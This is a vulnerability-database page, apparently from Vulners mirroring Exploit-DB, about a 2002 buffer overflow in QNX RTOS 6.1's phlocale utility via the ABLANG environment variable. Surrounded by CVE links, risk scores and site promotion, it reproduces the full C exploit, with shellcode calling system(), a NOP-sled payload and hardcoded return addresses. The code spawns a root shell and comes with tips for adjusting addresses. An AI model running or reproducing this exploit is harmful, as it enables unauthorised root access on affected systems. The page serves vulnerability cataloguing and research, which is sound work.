Lucene search
+L

QNX RTOS 6.1 - '/usr/photon/bin/phlocale' Environment Variable Buffer Overflow

🗓️ 03 Jun 2002 00:00:00Reported by badc0dedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

QNX phlocale utility has a buffer overflow vulnerability leading to root access via ABLANG variable.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-2041
14 Jul 200504:00
cve
cvelist
Cvelist
CVE-2002-2041
14 Jul 200504:00
cvelist
exploitdb
Exploit DB
QNX RTOS 6.1 - 'PKG-Installer' Local Buffer Overflow
3 Jun 200200:00
exploitdb
euvd
EUVD
EUVD-2002-2020
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-2041
31 Dec 200205:00
nvd
/*
source: https://www.securityfocus.com/bid/4917/info

The QNX phlocale utility is prone to an exploitable buffer overflow condition. This is due to insufficient bounds checking of the ABLANG environment variable. Exploitation of this issue may result in execution of arbitrary attacker-supplied instructions as root.
*/

/* QNX phlocale $ABLANG exploit, gives you a cute euid=0 shell.
 * If it doesnt work for you, then you most likely need to change
 * the address to system() and/or the ret.
 *
 * www.badc0ded.com
*/

main ()
{
   char s[]="\xeb\x0e\x31\xc0\x5b"
            "\x88\x43\x2\x53\xbb"
            "\x80\x95\x04\x08"       //system() address
            "\xff\xd3\xe8\xed\xff"
            "\xff\xff\x73\x68";
   char payload[1000];
   memset (payload,0x90,sizeof(payload));
   sprintf(payload+971,"%s%s",s,"\x78\x7b\x04\x08");
   setenv("ABLANG",payload);
   execlp("/usr/photon/bin/phlocale","phlocale",0);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01237
25